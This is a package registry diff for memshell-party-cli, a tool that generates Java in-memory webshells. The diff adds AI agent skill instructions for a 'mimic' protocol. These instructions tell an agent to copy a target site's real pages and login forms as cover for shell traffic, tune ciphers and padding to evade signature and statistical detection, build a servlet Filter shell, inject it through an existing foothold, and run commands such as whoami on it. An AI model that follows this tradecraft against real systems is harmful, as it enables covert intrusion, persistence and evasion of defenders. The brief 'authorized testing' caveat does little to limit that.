memshell-party-cli 0.3.4 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +1451 -160
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +208 -2
- package/dist/index.js +496 -5
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/resources/javax.servlet-api-3.1.0.jar +0 -0
- package/skills/memshell-party/SKILL.md +195 -1
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "memshell-party-cli",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.5.0",
|
|
4
4
|
"description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"memshell",
|
|
@@ -17,6 +17,7 @@
|
|
|
17
17
|
},
|
|
18
18
|
"files": [
|
|
19
19
|
"dist",
|
|
20
|
+
"resources",
|
|
20
21
|
"skills",
|
|
21
22
|
"README.md",
|
|
22
23
|
"README.en.md",
|
|
Binary file
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: memshell-party
|
|
3
|
-
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
3
|
+
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
4
4
|
---
|
|
5
5
|
|
|
6
6
|
# MemShellParty skill
|
|
@@ -220,6 +220,200 @@ Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `for
|
|
|
220
220
|
`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
|
|
221
221
|
paths are on the machine running the MCP server.
|
|
222
222
|
|
|
223
|
+
## Site-mimicking traffic (mimic protocol)
|
|
224
|
+
|
|
225
|
+
`mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
|
|
226
|
+
requests are browser-style form POSTs; responses are real site pages with the ciphertext
|
|
227
|
+
hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
|
|
228
|
+
selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
|
|
229
|
+
base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
|
|
230
|
+
does not crawl.** That is the point: you can judge which page makes believable cover; a
|
|
231
|
+
regex crawler cannot.
|
|
232
|
+
|
|
233
|
+
### Workflow
|
|
234
|
+
|
|
235
|
+
1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
|
|
236
|
+
page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
|
|
237
|
+
the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
|
|
238
|
+
an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
|
|
239
|
+
2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
|
|
240
|
+
should be the same *shape* as what the site already serves all day. Today mimic speaks
|
|
241
|
+
HTML pages only — so on a content site mimic the high-traffic documents (homepage, list
|
|
242
|
+
pages); on an SPA/API site an HTML skin is the wrong shape (a JSON envelope skin is the
|
|
243
|
+
planned follow-up), and forcing it makes you *more* visible, not less.
|
|
244
|
+
3. **Scaffold + hand-write the profile:**
|
|
245
|
+
|
|
246
|
+
```bash
|
|
247
|
+
memparty profile init acme --site http://target:8080
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
|
|
251
|
+
own file tools** — the CLI has no "fill" command; the content is your judgment, not a
|
|
252
|
+
command's output. Fill in:
|
|
253
|
+
- `templates`: **one or more** cover pages — the server rotates among them per response,
|
|
254
|
+
so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
|
|
255
|
+
**high-traffic, self-contained** ones (the pages real users fetch all the time), and
|
|
256
|
+
paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
|
|
257
|
+
Each entry keeps its own `title` and `contentType`.
|
|
258
|
+
- With `--dynamic-path`, also probe what the site returns for a **random** path
|
|
259
|
+
(`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
|
|
260
|
+
unknown path instead of a 404. Your templates should match that default response —
|
|
261
|
+
a 200 answer from the shell then mirrors the site's own behavior exactly.
|
|
262
|
+
- `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
|
|
263
|
+
hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
|
|
264
|
+
first-level dirs, same origin only. Used for `--dynamic-path`.
|
|
265
|
+
- `request` (optional but recommended): the request's form shape — **one object or an
|
|
266
|
+
array the client rotates among** (with optional `weight`). `secretField` is the field
|
|
267
|
+
that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
|
|
268
|
+
field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
|
|
269
|
+
a real form the site already receives** — e.g. a console login POST. Value placeholders:
|
|
270
|
+
`{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
|
|
271
|
+
`{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
|
|
272
|
+
`pass=` parameter is a textbook webshell signature.
|
|
273
|
+
- `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
|
|
274
|
+
format `aes-ecb` + `base64` + `js-var` + no tail):
|
|
275
|
+
- `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
|
|
276
|
+
`"aes-cbc"` (random IV per message — same command encrypts differently every
|
|
277
|
+
time, the strongest default), `"xor"` (no JCE needed).
|
|
278
|
+
- `encoding`: `"base64"` | `"base64url"` | `"hex"`.
|
|
279
|
+
- `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
|
|
280
|
+
the encoded ciphertext — Behinder's `aes_with_magic` trick against length
|
|
281
|
+
signatures. Costs nothing, turn it on.
|
|
282
|
+
- `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or
|
|
283
|
+
`"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at
|
|
284
|
+
home in the cover page.
|
|
285
|
+
⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
|
|
286
|
+
profile afterwards desynchronizes client and server — rebuild + re-inject.
|
|
287
|
+
4. **Use it:**
|
|
288
|
+
|
|
289
|
+
```bash
|
|
290
|
+
memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
|
|
291
|
+
--profile acme --dynamic-path
|
|
292
|
+
memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
### Worked example
|
|
296
|
+
|
|
297
|
+
Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
|
|
298
|
+
documents dominate; no SPA).
|
|
299
|
+
|
|
300
|
+
1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
|
|
301
|
+
`/news/` is linked from the nav and returns a short self-contained list page; the nav
|
|
302
|
+
links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
|
|
303
|
+
2. `memparty profile init acme --site http://192.0.2.1:8080`.
|
|
304
|
+
3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
|
|
305
|
+
the real file must contain the page's FULL verbatim HTML):
|
|
306
|
+
|
|
307
|
+
```json
|
|
308
|
+
{
|
|
309
|
+
"name": "acme",
|
|
310
|
+
"site": "http://192.0.2.1:8080",
|
|
311
|
+
"createdAt": "2026-07-19T08:00:00.000Z",
|
|
312
|
+
"templates": [
|
|
313
|
+
{
|
|
314
|
+
"title": "新闻动态 - ACME 科技",
|
|
315
|
+
"template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
|
|
316
|
+
"contentType": "text/html; charset=utf-8"
|
|
317
|
+
},
|
|
318
|
+
{
|
|
319
|
+
"title": "产品中心 - ACME 科技",
|
|
320
|
+
"template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
|
|
321
|
+
"contentType": "text/html; charset=utf-8"
|
|
322
|
+
}
|
|
323
|
+
],
|
|
324
|
+
"paths": ["/products/", "/news/", "/about/"],
|
|
325
|
+
"request": {
|
|
326
|
+
"secretField": "verCode",
|
|
327
|
+
"fields": [
|
|
328
|
+
{"name": "csrftoken", "value": "{{hex:32}}"},
|
|
329
|
+
{"name": "j_username", "value": "admin"},
|
|
330
|
+
{"name": "j_password", "value": "{{hex:24}}"},
|
|
331
|
+
{"name": "agreement", "value": "on"}
|
|
332
|
+
]
|
|
333
|
+
}
|
|
334
|
+
}
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
|
|
338
|
+
JS/images, so no missing sub-request waterfall; two templates so consecutive responses
|
|
339
|
+
differ in length and bytes; `paths` are exactly the nav links real users click, not
|
|
340
|
+
guessed words; the `request` block mirrors the site's own login form, so the shell POST
|
|
341
|
+
is indistinguishable from someone signing in. (Templates shortened here for display —
|
|
342
|
+
the real file must contain each page's FULL verbatim HTML. A legacy single
|
|
343
|
+
`template`/`title`/`contentType` triple still loads, it just can't rotate.)
|
|
344
|
+
4. Verify it parses, then connect:
|
|
345
|
+
|
|
346
|
+
```bash
|
|
347
|
+
memparty profile show acme # schema check happens here too
|
|
348
|
+
memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
|
|
349
|
+
--profile acme --dynamic-path
|
|
350
|
+
# OK mimic http://192.0.2.1:8080/
|
|
351
|
+
# round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
|
|
352
|
+
```
|
|
353
|
+
|
|
354
|
+
### What mimic handles vs. what you decide
|
|
355
|
+
|
|
356
|
+
- Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
|
|
357
|
+
derived response delimiters, form-body encoding, browser-consistent request headers,
|
|
358
|
+
credential round-trip on `connect`.
|
|
359
|
+
- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
|
|
360
|
+
memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
|
|
361
|
+
fixed-URL shell just omit the flag.
|
|
362
|
+
- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
|
|
363
|
+
commands like a patient human.
|
|
364
|
+
|
|
365
|
+
### Server side — `memparty custom build`
|
|
366
|
+
|
|
367
|
+
The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
|
|
368
|
+
locally — one command does the whole chain:
|
|
369
|
+
|
|
370
|
+
```bash
|
|
371
|
+
memparty custom build --profile acme --server Tomcat
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
What happens inside:
|
|
375
|
+
|
|
376
|
+
1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the
|
|
377
|
+
`cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
|
|
378
|
+
2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
|
|
379
|
+
dependency);
|
|
380
|
+
3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
|
|
381
|
+
with the injector for `--server` (any server from `memparty config tools` — the filter
|
|
382
|
+
itself has zero middleware specifics) and packs it with `--packer`
|
|
383
|
+
(default `DefaultBase64`);
|
|
384
|
+
4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one
|
|
385
|
+
`payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
|
|
386
|
+
for the follow-up (credentials, cipher, class names, ready-made connect command).
|
|
387
|
+
|
|
388
|
+
Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
|
|
389
|
+
existing shell that evaluates scripts, an agent loader…), and connect with the printed
|
|
390
|
+
command — a successful `connect` auto-saves the target, afterwards
|
|
391
|
+
`memparty exec <host>/mimic --cmd "id"` needs no flags.
|
|
392
|
+
|
|
393
|
+
Notes that matter:
|
|
394
|
+
|
|
395
|
+
- **Random class name every build** (`--out` keeps builds apart): a running JVM can't
|
|
396
|
+
re-define a class, so re-injection NEEDS the fresh name — never reuse one.
|
|
397
|
+
- The printed `--pass/--key` are random per build unless you pin them; they're in
|
|
398
|
+
`manifest.json`, not in your shell history if you use `--json`.
|
|
399
|
+
- The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
|
|
400
|
+
body stream), passes undecryptable values through `chain.doFilter`, and answers errors
|
|
401
|
+
with the plain cover page — it coexists with the site's real forms and other shells.
|
|
402
|
+
- Filter-type deployment truth learned on a real console: **dynamic path is conditional
|
|
403
|
+
on the target app's own filters** — probe a random path first, fall back to the fixed
|
|
404
|
+
working path when the app answers everything itself.
|
|
405
|
+
|
|
406
|
+
### Reality check before relying on it
|
|
407
|
+
|
|
408
|
+
Run `memparty demo` once and read the printed request URL and response: the traffic should
|
|
409
|
+
be indistinguishable from a normal page view at a glance. Two ways it still stands out:
|
|
410
|
+
|
|
411
|
+
- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
|
|
412
|
+
would fetch, a NDR notices their absence — prefer self-contained pages.
|
|
413
|
+
- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
|
|
414
|
+
baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
|
|
415
|
+
That is why the dominant-traffic rule above outranks everything else.
|
|
416
|
+
|
|
223
417
|
## Step 7 — Save targets, switch by name
|
|
224
418
|
|
|
225
419
|
Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
|